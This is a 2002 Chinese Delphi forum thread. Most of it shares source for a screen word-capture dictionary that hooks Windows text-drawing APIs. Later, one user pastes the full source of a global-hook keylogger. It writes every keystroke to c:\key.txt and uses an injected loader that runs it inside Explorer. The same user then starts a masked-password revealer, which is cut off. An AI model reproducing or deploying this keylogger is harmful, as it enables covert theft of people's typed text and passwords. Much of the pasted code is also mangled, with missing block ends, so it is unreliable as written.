except

MessageBox(0,

'Error when CloseHandle',

'FreeDict Error',

MB_OK);

end;

DeleteCriticalSection(g_CriticalSection);

DeleteCriticalSection(m_CriticalSection);

end;

DLL_THREAD_ATTACH :

begin

end;

DLL_THREAD_DETACH :

begin

end;

exports

EnableMouseHook,

DisableMouseHook,

GanTextOutA,

GanTextOutW,

GanExtTextOutA,

GanExtTextOutW,

GanDrawTextA,

GanDrawTextW,

SetCaptureFlag;

begin

InitializeCriticalSection(g_CriticalSection);

InitializeCriticalSection(m_CriticalSection);

b_InCS := false;

hNextHookProc := 0;

hProc := 0;

bFirst := true;

bDllInstalled := false;

hWndCover := 0;

hWndServer := 0;

CommonData := nil;

HMapFile := 0;

LastTime := 0;

FillChar(LastMousePos, sizeof(TPoint), 0);

idMsg := RegisterWindowMessage(STR_MSGNOTIFY);

MapCommonData;

hProc := OpenProcess(PROCESS_ALL_ACCESS,

FALSE,

GetCurrentProcessID());

InitThunkCode;

InitServerWnd;

// InitCoverWindow;

// DisableThreadLibraryCalls(hInstance);

DLLProc := @DLLMain;

DLLMain(DLL_PROCESS_ATTACH);

end.

来自：huiyugan, 时间：2002-5-25 13:42:00, ID：1123372

工程FreeDict.dpr

主程序

program FreeDict;

uses

Forms,

untMain in 'untMain.pas' {frmGanDict},

untAbout in 'untAbout.pas' {AboutBox},

untTypes in 'untTypes.pas';

{$R *.RES}

begin

Application.Initialize;

Application.CreateForm(TfrmGanDict, frmGanDict);

Application.CreateForm(TAboutBox, AboutBox);

Application.Run;

end.

来自：cozo, 时间：2002-5-25 13:44:00, ID：1123375

好人哪！学习中，没看懂。

来自：huiyugan, 时间：2002-5-25 13:44:00, ID：1123376

单元untMain.pas的代码，窗体设置见下

(*******************************************************************************

* Copy Right (C) Gan Huaxin 2001, 2002, huiyugan@263.net

* A Free Screen Words Capture Library

* Dedicated to my GirlFriend Sunny, Happy for ever

* Version Date Modification

* 0.1 2001-11-07~09 New, oly a test

* Can Get Word, Sometimes occure error

* 0.2 2002-05-14~16 Some Bugs Fixed,And

*******************************************************************************)

unit untMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, untTypes;

type

TfrmGanDict = class(TForm)

btnLoad: TButton;

btnUnLoad: TButton;

lblHwnd: TLabel;

btnAbout: TButton;

lblMousePos: TLabel;

memoThunk: TMemo;

lblFontWidth: TLabel;

lblRect: TLabel;

procedure btnLoadClick(Sender: TObject);

procedure btnUnLoadClick(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure btnAboutClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

procedure WndProc(var Mess: TMessage); override;

end;

var

frmGanDict: TfrmGanDict;

implementation

uses untAbout;

{$R *.DFM}

var

HMapFile:THandle;

CommonData:^TCommonData;

const

STR_MSGNOTIFY:pchar='WM_GANNOTIFY';

var

idMsg : UINT;

function EnableMouseHook(hld:hwnd; ProcessID : DWORD; hInst : THandle): BOOL; external 'GFDict.dll';

function DisableMouseHook: BOOL; external 'GFDict.dll';

function SetCaptureFlag(bFlag:BOOL): BOOL; external 'GFDict.dll';

procedure MapCommonData;

var FirstCall: Boolean;

begin

HMapFile:=OpenFileMapping(FILE_MAP_WRITE, False, 'GanGan_ThunkDict');

FirstCall:=(HMapFile = 0);

if FirstCall then

HMapFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,

0,SizeOf(TCommonData),

'GanGan_ThunkDict');

CommonData:= MapViewOfFile(HMapFile, FILE_MAP_WRITE, 0, 0, 0);

if FirstCall then FillChar(CommonData^, SizeOf(TCommonData), 0);

end;

procedure TfrmGanDict.btnLoadClick(Sender: TObject);

begin

if not EnableMouseHook(handle, GetCurrentProcessID, Application.Handle) then

ShowMessage('ERROR')

else

SetCaptureFlag(TRUE);

end;

procedure TfrmGanDict.btnUnLoadClick(Sender: TObject);

begin

DisableMouseHook;

end;

procedure TfrmGanDict.FormDestroy(Sender: TObject);

begin

DisableMouseHook;

if CommonData<>nil then begin

UnMapViewOfFile(CommonData);

CommonData := nil;

CloseHandle(HMapFile);

HMapFile := 0;

end;

procedure TfrmGanDict.FormCreate(Sender: TObject);

begin

idMsg := RegisterWindowMessage(STR_MSGNOTIFY);

CommonData := nil;

MapCommonData;

SetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0,

SWP_NOSIZE or SWP_NOMOVE);

end;

const

StrProcNames : array[0..5] of String =

('TextOutA',

'TextOutW',

'ExtTextOutA',

'ExtTextOutW',

'DrawTextA',

'DrawTextW');

procedure TfrmGanDict.WndProc(var Mess: TMessage);

begin

case Mess.LParam of

begin

if (mess.msg = idMsg) then begin

if (Mess.wParam >=0) and (Mess.WParam <= 5) then begin

lblHwnd.Caption := StrProcNames[mess.wParam]; //Format('Handle : 0x%X', [mess.wParam]);

if CommonData <> nil then with CommonData^ do begin

memoThunk.Text := CommonData.BufferA;

lblRect.Caption := Format('Client X:%d, Y:%d, Rect[%d,%d,%d,%d]',

[MousePClient.x, MousePClient.y,

Rect.Left, Rect.Top, Rect.Right, Rect.Bottom]);

// lblThunkText.Caption := CommonData.BufferA;

end

end else

lblHwnd.Caption := 'UnKnow Message';

end;

begin

if CommonData<>nil then with CommonData^ do

lblMousePos.Caption := Format('Mouse Pos X : %d, Y : %d',

[MousePos.X,

MousePos.Y]);

end;

begin

memoThunk.Text := '---';

end;

begin

lblFontWidth.Caption := Format('Font Width : %d', [mess.wParam]);

end;

inherited;

end;

procedure TfrmGanDict.btnAboutClick(Sender: TObject);

begin

AboutBox.ShowModal;

end;

end.

（××××××××××××下面试窗体设置×××××××××××）

object frmGanDict: TfrmGanDict

Left = 564

Top = 163

Width = 280

Height = 237

Caption = 'Gan'#39's Free Dict'

Color = clBtnFace

Font.Charset = DEFAULT_CHARSET

Font.Color = clWindowText

Font.Height = -11

Font.Name = 'MS Sans Serif'

Font.Style = []

OldCreateOrder = False

OnCreate = FormCreate

OnDestroy = FormDestroy

PixelsPerInch = 96

TextHeight = 13

object lblHwnd: TLabel

Left = 8

Top = 8

Width = 76

Height = 13

Caption = 'Window Handle'

end

object lblMousePos: TLabel

Left = 8

Top = 152

Width = 56

Height = 13

Caption = 'Mouse Pos:'

end

object lblFontWidth: TLabel

Left = 8

Top = 192

Width = 52

Height = 13

Caption = 'Font Width'

end

object lblRect: TLabel

Left = 8

Top = 176

Width = 23

Height = 13

Caption = 'Rect'

end

object btnLoad: TButton

Left = 104

Top = 112

Width = 75

Height = 25

Caption = 'Load'

TabOrder = 0

OnClick = btnLoadClick

end

object btnUnLoad: TButton

Left = 192

Top = 112

Width = 75

Height = 25

Caption = 'UnLoad'

TabOrder = 1

OnClick = btnUnLoadClick

end

object btnAbout: TButton

Left = 192

Top = 144

Width = 75

Height = 25

Caption = 'About'

TabOrder = 2

OnClick = btnAboutClick

end

object memoThunk: TMemo

Left = 8

Top = 24

Width = 257

Height = 81

TabOrder = 3

end

来自：huiyugan, 时间：2002-5-25 13:45:00, ID：1123379

单元untAbout

unit untAbout;

interface

uses Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls,

Buttons, ExtCtrls;

type

TAboutBox = class(TForm)

Panel1: TPanel;

ProgramIcon: TImage;

ProductName: TLabel;

Version: TLabel;

Comments: TLabel;

OKButton: TButton;

private

{ Private declarations }

public

{ Public declarations }

end;

var

AboutBox: TAboutBox;

implementation

{$R *.DFM}

end.

其窗体

object AboutBox: TAboutBox

Left = 408

Top = 366

BorderStyle = bsSingle

Caption = 'About'

ClientHeight = 213

ClientWidth = 298

Color = clBtnFace

Font.Charset = DEFAULT_CHARSET

Font.Color = clWindowText

Font.Height = -11

Font.Name = 'MS Sans Serif'

Font.Style = []

OldCreateOrder = True

Position = poScreenCenter

PixelsPerInch = 96

TextHeight = 13

object Panel1: TPanel

Left = 8

Top = 8

Width = 281

Height = 161

BevelInner = bvRaised

BevelOuter = bvLowered

ParentColor = True

TabOrder = 0

object ProgramIcon: TImage

Left = 8

Top = 8

Width = 65

Height = 57

Picture.Data = {

07544269746D617076020000424D760200000000000076000000280000002000

0000200000000100040000000000000200000000000000000000100000000000

000000000000000080000080000000808000800000008000800080800000C0C0

C000808080000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFF

FF00000000000000000000000000000000000EE8787878EEEEEEE03F30878EEE

EEE00EE8787878EEEEEEE03F30878EEEEEE00EE8787878EEEEEEE03F30878EEE

EEE00EE8787878EEEEEEE03F30878EEEEEE00887787877788888803F3088787E

EEE00788787878878887803F3088887EEEE00788887888878887803F3088887E

EEE00877888887788888703F308887EEEEE00888777778888888037883088888

8EE007777777777777703787883087777EE00888888888888803787FF8830888

888008888888888880378777778830888880077777777788037873F3F3F87808

88E00888888888803787FFFFFFFF8830EEE00887777778800001111111111100

EEE00888888888888899B999B99999EEEEE00888888888888899B9B99BB9B9EE

EEE0088888888888899BB9BB99BB99EEEEE0078888888888899B999B999999EE

EEE0087788888778899B9B9BB9BB99EEEEE00888778778888E9B9B9BB9999EEE

EEE0088888788888EE9B99B9BB9BEEEEEEE00EE8888888EEEEE999B9999EEEEE

EEE00EEEE888EEEEEEEE99BB999EEEEEEEE00EEEEE8EEEEEEEEEE999B9EEEEEE

EEE00EEEEE8EEEEEEEEEEEE999EEEEEEEEE00EEEEE8EEEEEEEEEEEEE99EEEEEE

EEE00EEEEE8EEEEEEEEEEEEE9EEEEEEEEEE00EEEEE8EEEEEEEEEEEEEEEEEEEEE

EEE00EEEEEEEEEEEEEEEEEEEEEEEEEEEEEE00000000000000000000000000000

0000}

Stretch = True

IsControl = True

end

object ProductName: TLabel

Left = 88

Top = 16

Width = 155

Height = 13

Caption = 'Product Name: Gan'#39's Get Words'

IsControl = True

end

object Version: TLabel

Left = 88

Top = 40

Width = 107

Height = 13

IsControl = True

end

object Copyright: TLabel

Left = 8

Top = 80

Width = 152

Height = 13

Caption = 'Copyright (C) Gan Huaxin , 2002'

IsControl = True

end

object Comments: TLabel

Left = 8

Top = 104

Width = 265

Height = 39

Caption = 'Comments : Only a TEST'

WordWrap = True

IsControl = True

end

object OKButton: TButton

Left = 111

Top = 180

Width = 75

Height = 25

Caption = 'OK'

Default = True

ModalResult = 1

TabOrder = 1

end

来自：huiyugan, 时间：2002-5-25 13:49:00, ID：1123387

GanFreeDictGrp.bpg.工程组文件

#------------------------------------------------------------------------------

VERSION = BWS.01

#------------------------------------------------------------------------------

!ifndef ROOT

ROOT = $(MAKEDIR)\..

!endif

#------------------------------------------------------------------------------

MAKE = $(ROOT)\bin\make.exe -$(MAKEFLAGS) -f$**

DCC = $(ROOT)\bin\dcc32.exe $**

BRCC = $(ROOT)\bin\brcc32.exe $**

#------------------------------------------------------------------------------

PROJECTS = GFDict.dll FreeDict.exe

#------------------------------------------------------------------------------

default: $(PROJECTS)

#------------------------------------------------------------------------------

GFDict.dll: GFDict.dpr

$(DCC)

FreeDict.exe: FreeDict.dpr

$(DCC)

来自：cozo, 时间：2002-5-25 13:53:00, ID：1123395

这样吧，你把源码发到我的信箱，我上传到我的网站上去，不是更好？cozo@etang.com

来自：wzhiwei, 时间：2002-5-25 14:00:00, ID：1123413

我也要一份

wzhiwei99@etang.com

来自：huiyugan, 时间：2002-5-25 14:01:00, ID：1123415

to cozo:

我已经发了过去，请注明一些信息。

来自：jingtao, 时间：2002-5-25 14:08:00, ID：1123428

good

现在已经很少这种好人了.

来自：jrq, 时间：2002-5-25 15:20:00, ID：1123430

多谢！

－－－－－－－

将上面代码编译了一下，果然桌面图标和IE中的全部可以取到！

看来很久没有解决的问题可以完成了！

不过IE中闪烁很厉害，取到的词语位置也不是很准确！

来自：huiyugan, 时间：2002-5-25 14:11:00, ID：1123433

JingTao:你是否试CSDN的蒋涛？

来自：jingtao, 时间：2002-5-25 14:15:00, ID：1123442

他的帐号好像是JIANGTAO

我是藏鲸阁的

http://www.138soft.com

如果需要可以帮你在我的论坛上面为你开一个论坛

来自：cozo, 时间：2002-5-25 14:32:00, ID：1123476

文件已上传，下载地址：http://cozo.diy.163.com/FreeDict.zip

网页地址：http://cozo.diy.163.com/

信息已注明。不过我的网站刚刚申请，还没什么东西。望不要见怪。

来自：huiyugan, 时间：2002-5-25 14:40:00, ID：1123492

大家可以去cozo的网站上下代码了。

我这个人比较懒，没有建设网站的欲望。

那是一个完整的工程。

来自：huiyugan, 时间：2002-5-25 14:41:00, ID：1123495

请上述提供email地址的同志去

http://cozo.diy.163.com上去下吧。我一个一个发太累了。

来自：huiyugan, 时间：2002-5-25 14:43:00, ID：1123499

To JingTao：

你打算开一个主要讨论哪一方面的论坛？

来自：jingtao, 时间：2002-5-25 14:45:00, ID：1123505

我的意思是说在http://bbs.138soft.com上面为你开一个论坛

你来当版主.至于内容和标题之类肯定是你来定.

---如果你需要的话.

来自：jingtao, 时间：2002-5-25 14:55:00, ID：1123529

代码同时放到了

http://www.138soft.com

期待更多这样的人出现:)

来自：huiyugan, 时间：2002-5-25 16:36:00, ID：1123666

嘿，大家都是靠外界信息来学习嘛，

所以如果大家又什么心得一定要共享嘛。

也许，在中国，很多事情都变味了，就象

《胜者为王》中Linus说了Linux在中国的发展说

的一些话。

来自：gondsoft, 时间：2002-5-25 17:02:00, ID：1123716

jingtao:

能否将我最近发布的 KICQ即时通信系统放在你的网站上提供下载...?我的主页空间不支持

外部链接访问~

下载:

http://gond.go.163.com 中的网络软件部分,

文件类型:rar 解压密码:gondsoft

下载说明:

kICQ-020521(客户端)

KICQserver-020521(服务器)

KQchat-020521(服务器资料库)

即时通信系统,功能仿OICQ

来自：huiyugan, 时间：2002-5-25 21:59:00, ID：1123773

呵呵，我从来没有用过呼叫

来自：yzhshi, 时间：2002-5-25 20:17:00, ID：1124016

在线富翁->点击对应人的闪电符号

来自：real_clq, 时间：2002-5-25 20:32:00, ID：1124032

jingtao兄，你的主页空间在哪租的？我也想弄一个。

来自：jingtao, 时间：2002-5-25 20:39:00, ID：1124046

gondsoft:迟点好吗?别人准备给我一个1GB的空间.

real_clq: http://www.jnbiz.com空间他们送的. 域名是别人送的.

来自：sima, 时间：2002-5-25 20:43:00, ID：1124052

向楼主致敬！

请全体同志起立！

来自：huiyugan, 时间：2002-5-25 21:58:00, ID：1124107

没什么

来自：emonster, 时间：2002-5-25 22:00:00, ID：1124190

致敬！

来自：zw84611, 时间：2002-5-26 8:58:00, ID：1124571

致敬！

来自：wddelphi, 时间：2002-5-26 9:11:00, ID：1124599

我用过《金山词霸》和《IBM智能词典2000》，在取词时都有一个问题，就是在有些地方

无法正确的取词，比如，在桌面，而且有个规律："a"－>"D"、"b"－>"E"、

"c"－>"F"……，用了贴主的程序后，发现也是如此，想问一下huiyugan先生，截取

消息的方法应该是对的，但windows能正确显示这些字符，为什么各类取词软件都不能正

确地取词，是消息截取得不对？还是分析的不对？

我用的是win2000+sp2+ie6+dx8。（ie5+dx7也一样）

来自：linsb, 时间：2002-5-26 9:48:00, ID：1124644

To huiyugan

非常感谢提供完整的源代码！

第二次启动为什么会出现：

来自：huiyugan, 时间：2002-5-26 12:46:00, ID：1124874

这是因为二次注册WindowClass.

我说过，这份代码是个雏形，这种小问题偶没有修正。

但不影响功能

来自：dingbaosheng, 时间：2002-5-26 13:30:00, ID：1124938

good~~~~~

来自：孔明.net, 时间：2002-5-26 13:48:00, ID：1124962

试试先。

来自：luoma, 时间：2002-5-26 16:00:00, ID：1125160

帅呆了!感谢

来自：huiyugan, 时间：2002-5-26 16:05:00, ID：1125168

To JingTao:

我还有一个东西能否也放到你的网站上，为了方便众多学习的网友？

是一个关于进程注入，线程隐藏的东西，还包含了一个时钟呢。

来自：jingtao, 时间：2002-5-26 16:35:00, ID：1125199

是不是关于进程三级跳的?好的.麻烦发到我信箱我帮你上传.

webmaster@138soft.com需要注明版权之类的吗?

我这里也有一个.朋友写的.

{

win9X,NT,w2k 中的系统钩子示例程序(Delphi 版)

-----------------------------------------------------

windows下的WH_CALLWNDPROC和WH_GETMESSAGE钩子是两种很有用的HOOK类型，他能过滤大部分的

windows消息，但是要做成系统级的钩子，就要使用动态链接库，这样做很困难，因为涉及到多

线程及全局变量，等问题，当然在某些情况下还会有线程同步及同步冲突问题，关于同步问题

暂时不在这讲，因为这儿用不到，以后会举同步的例子，由于这些原因常会导致错误，本程序

用了一个巧妙的方法解决了这个问题，主要技巧是不用*.exe，只用*.dll，并用windows自带的

rundll32.exe程序来运行这个GetKey.dll，本程序能过滤wm_char,和wm_ime_char消息，所以能

得到键盘输入的任何字中英文字符，结果存在C;\key.txt中,使用方法为:

rundll32 GetKey.dll,run

下面这个程序用Delphi设计，没有用delphi的控件，只用了win32 api，所以通用于Delphi的任

何版本，当然你也可以用c来实现,有看不懂的可以写信给我，这是第一版，可能有BUG,大家发

现了通知我一下，欢迎大家和我一起来讨论HOOK技术:

-----------------------------------------------------

First Created:njhhack 2001.6.14 (ver1.0)

电子信箱:njhhack@21cn.com

主页:hotsky.363.net

}

library GetKey;

uses windows,messages,sysutils;

{$r *.res}

const

HookMemFileName='HookMemFile.DTA';

type

PShared=^TShared;

PWin=^TWin;

TShared = record

HHGetMsgProc:HHook;

HHCallWndProc:HHook;

Self:integer;

Count:integer;

hinst:integer;

end;

TWin = record

Msg:TMsg;

wClass:TWndClass;

hMain:integer;

end;

var

MemFile:THandle;

Shared:PShared;

Win:TWin;

procedure SaveInfo(str:string);stdcall;

var

f:textfile;

begin

assignfile(f,'c:\key.txt');

if fileexists('c:\key.txt')=false then rewrite(f)

else append(f);

if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')

else write(f,str);

closefile(f);

end;

procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;

begin

if (uMessage=WM_CHAR) and (lParam<>1) then

begin

SaveInfo(format('%s',[chr(wparam and $ff)]));

inc(shared^.count);

if shared^.count>60 then

begin

SaveInfo('#13#10');

shared^.count:=0;

end;

if (uMessage=WM_IME_CHAR) then

begin

SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));

inc(shared^.count,2);

end;

function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;

var

pcs:PMSG;

hd,uMsg,wP,lP:integer;

begin

pcs:=PMSG(lParam);

if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then

begin

hd:=pcs^.hwnd;

uMsg:=pcs^.message;

wp:=pcs^.wParam;

lp:=pcs^.lParam;

HookProc(hd,uMsg,wp,lp);

end;

Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);

end;

function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;

var

pcs:PCWPSTRUCT;

hd,uMsg,wP,lP:integer;

begin

pcs:=PCWPSTRUCT(lParam);

if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then

begin

hd:=pcs^.hwnd;

uMsg:=pcs^.message;

wp:=pcs^.wParam;

lp:=pcs^.lParam;

HookProc(hd,uMsg,wp,lp);

end;

Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);

end;

procedure SetHook(fSet:boolean);

begin

with shared^ do

if fSet=true then

begin

if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);

if HHCallWndProc=0 then

begin

HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);

if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);

end;

end else

begin

if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);

if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);

HHGetMsgProc:=0;

HHCallWndProc:=0;

end;

procedure Extro;

begin

UnmapViewOfFile(Shared);

CloseHandle(MemFile);

end;

function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;

begin

Result:=DefWindowProc(hWnd,Msg,wParam,lParam);

case Msg of

wm_destroy:

begin

SetHook(False);

ExitThread(0);

freelibrary(shared^.hinst);

// TerminateThread();

//exitprocess(0);

end;

procedure run;stdcall;

begin

win.wClass.lpfnWndProc:= @WindowProc;

win.wClass.hInstance:= hInstance;

win.wClass.lpszClassName:='GetKey';

RegisterClass(win.wClass);

win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);

FillChar(Shared^,SizeOf(TShared),0);

shared^.self:=win.hmain;

shared^.hinst:=hinstance;

SetHook(true);

postmessage(findwindow('WinExec',nil),wm_destroy,0,0);

while(GetMessage(win.Msg,win.hmain,0,0))do

begin

TranslateMessage(win.Msg);

DispatchMessage(win.Msg);

end;

procedure DllEntryPoint(fdwReason:DWORD);

begin

case fdwReason of

DLL_PROCESS_DETACH:

Extro;

end;

exports run;

begin

//建立内存映象文件，用来保存全局变量

MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);

Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);

DLLProc:=@DllEntryPoint;

end.

//-----------------------------------------------

library Install;

uses windows,messages,sysutils,tlhelp32;

{$r *.res}

const

HookMemFileName='HookMemFile3.DTA';

type

trun=procedure;stdcall;

TShared = record

HHGetMsgProc:HHook;

HHCallWndProc:HHook;

Receiver:integer;

busy:boolean;

hInstance:integer;

selfhand:integer;

LibHandle:integer;

CurPath:string;

end;

PShared=^TShared;

var

hMain:integer;

Msg:TMsg;

wClass:TWndClass;

MemFile:THandle;

Shared:PShared;

prun:trun=nil;

function tfun(lp:pointer):lresult;stdcall;

begin

with shared^ do

if LibHandle=0 then

begin

LibHandle:=LoadLibrary(pchar(shared^.CurPath+'GetKey.dll'));

if libhandle<>0 then

begin

if @prun=nil then

begin

prun:=GetProcAddress(LibHandle,'run');

if @prun<>nil then prun;

end;

result:=0;

end;

procedure FindProcessName;

var

lppe:tprocessentry32;

sshandle:thandle;

found:boolean;

tid:dword;

begin

sshandle:=createtoolhelp32snapshot(TH32CS_SNAPALL,0);

found:=process32first(sshandle,lppe);

while found do

begin

if (getcurrentprocessid=lppe.th32ProcessID)

and (strcomp(pchar(ExtractFileName(lppe.szExefile)),pchar('EXPLORER.EXE'))=0) then

begin

shared^.busy:=true;

CreateThread(nil,0,@tfun,nil,0,tid);

end;

if strcomp(pchar(ExtractFileName(lppe.szExefile)),pchar('WINEXEC.EXE'))=0 then

begin

Shared^.CurPath:=ExtractFilePath(lppe.szExefile);

end;

found:=process32next(sshandle,lppe);

end;

CloseHandle(sshandle);

end;

procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;

begin

if uMessage=WM_lbuttonup then

begin

if findwindow('GetKey',nil)<>0 then

begin

// postmessage(findwindow('WinExec',nil),wm_destroy,0,0);

end;

if shared^.busy=false then

begin

findProcessName;

end;

function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;

var

pcs:PMSG;

hd,uMsg,wP,lP:integer;

begin

pcs:=PMSG(lParam);

if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then

begin

hd:=pcs^.hwnd;

uMsg:=pcs^.message;

wp:=pcs^.wParam;

lp:=pcs^.lParam;

HookProc(hd,uMsg,wp,lp);

end;

Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);

end;

function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;

var

pcs:PCWPSTRUCT;

hd,uMsg,wP,lP:integer;

begin

pcs:=PCWPSTRUCT(lParam);

if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then

begin

hd:=pcs^.hwnd;

uMsg:=pcs^.message;

wp:=pcs^.wParam;

lp:=pcs^.lParam;

HookProc(hd,uMsg,wp,lp);

end;

Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);

end;

procedure SetHook(fSet:boolean);

begin

with shared^ do

if fSet=true then

begin

if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);

if HHCallWndProc=0 then

begin

HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);

if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);

end;

end else

begin

if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);

if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);

HHGetMsgProc:=0;

HHCallWndProc:=0;

end;

procedure Extro;

begin

UnmapViewOfFile(Shared);

CloseHandle(MemFile);

end;

function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;

begin

Result:=DefWindowProc(hWnd,Msg,wParam,lParam);

case Msg of

wm_destroy:

begin

SetHook(False);

halt;

end;

procedure Intro;

begin

MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);

Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);

end;

procedure DllEntryPoint(fdwReason:DWORD);

begin

case fdwReason of

DLL_PROCESS_DETACH:Extro;

end;

procedure run;stdcall;

begin

wClass.lpfnWndProc:= @WindowProc;

wClass.hInstance:= hInstance;

wClass.lpszClassName:= 'MyHost-Install';

RegisterClass(wClass);

hmain:=CreateWindowEx(ws_ex_toolwindow,wClass.lpszClassName,'MyHost-Install',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);

FillChar(Shared^,SizeOf(TShared),0);

Shared^.hInstance:=hInstance;

Shared^.selfhand:=hmain;

Shared^.busy:=false;

SetHook(true);

while(GetMessage(Msg,hmain,0,0))do

begin

TranslateMessage(Msg);

DispatchMessage(Msg);

end;

exports run;

begin

Intro;

DLLProc:=@DllEntryPoint;

end.

//------------------------------------------------------------

Program WinExec;

uses windows,messages,sysutils;

{$r *.res} //使用资源文件

type

TWin = record

Msg:TMsg;

wClass:TWndClass;

hMain:integer;

hLib:integer;

end;

var

Win:TWin; //结构变量

hRun:procedure;stdcall;

procedure runhookfun;

begin

win.hlib:=loadlibrary('install.dll');

if win.hlib=0 then messagebox(win.hmain,'error','',0);

hrun:=GetProcAddress(win.hlib,'run');

if @hrun<>nil then hrun;

// freelibrary(win.hlib);

end;

procedure runhook;

var tid:integer;

begin

createthread(nil,0,@runhookfun,nil,0,tid);

end;

function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;

begin

Result:=DefWindowProc(hWnd,Msg,wParam,lParam);

case Msg of

wm_destroy:halt;

end;

//主程序的执行函数

procedure runme;stdcall;

begin

win.wClass.hInstance:= hInstance;

with win.wclass do

begin

hIcon:= LoadIcon(hInstance,'MAINICON');

hCursor:= LoadCursor(0,IDC_ARROW);

hbrBackground:= COLOR_BTNFACE+1;

Style:= CS_PARENTDC;

lpfnWndProc:= @WindowProc;

lpszClassName:='WinExec';

end;

RegisterClass(win.wClass);

win.hmain:=CreateWindow(win.wClass.lpszClassName,'WinExec',WS_VISIBLE or WS_OVERLAPPEDWINDOW,10,10,260,180,0,0,hInstance,nil);

runhook;

while(GetMessage(win.Msg,win.hmain,0,0)) do

begin

TranslateMessage(win.Msg);

DispatchMessage(win.Msg);

end;

begin

runme; //开始运行主程序

end.

来自：jingtao, 时间：2002-5-26 16:32:00, ID：1125202

还有WIN2K下查看*密码的:

program password;

uses

windows,messages;

{$R *.RES}

var

//----------------------

wClass: TWndClass; //窗口类变量

Msg: TMSG; //消息变量

hInst, //程序实例

Handle, //主窗口句柄

hFont, //字体句柄

//----------------

hEditEmail, //e-mail编辑

hLabelEmail //e-mail提示

:integer; //句柄类型

procedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end;

procedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end;

//主程序结束

procedure ShutDown;

begin

DeleteObject(hFont);

UnRegisterClass(wClass.lpszClassName,hInst);

ExitProcess(hInst);

end;

//这是主窗口的消息处理函数

function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;

begin

Result:=DefWindowProc(hWnd,Msg,wParam,lParam);

case Msg of

WM_DESTROY: ShutDown;

end;

//定义几个窗口创建函数

function CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begin Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or WS_CHILD or ES_PASSWORD or ES_LEFT or ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end;

function CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begin Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end;

function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;

begin

hInst:=GetModuleHandle(nil);

with wClass do

begin

Style:= CS_PARENTDC;

hIcon:= LoadIcon(hInst,'MAINICON');

lpfnWndProc:= @WindowProc;

hInstance:= hInst;

hbrBackground:= COLOR_BTNFACE+1;

lpszClassName:= 'MainClass';

hCursor:= LoadCursor(0,IDC_ARROW);

end;

RegisterClass(wClass);

Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);

end;

//---------主过程，类似于 C语言中的 WinMain()

begin

handle:=CreateMain('exename',10,10,320,135);

hEditEmail:=CreateEdit('njhhack@263.net',60,4,174,20);

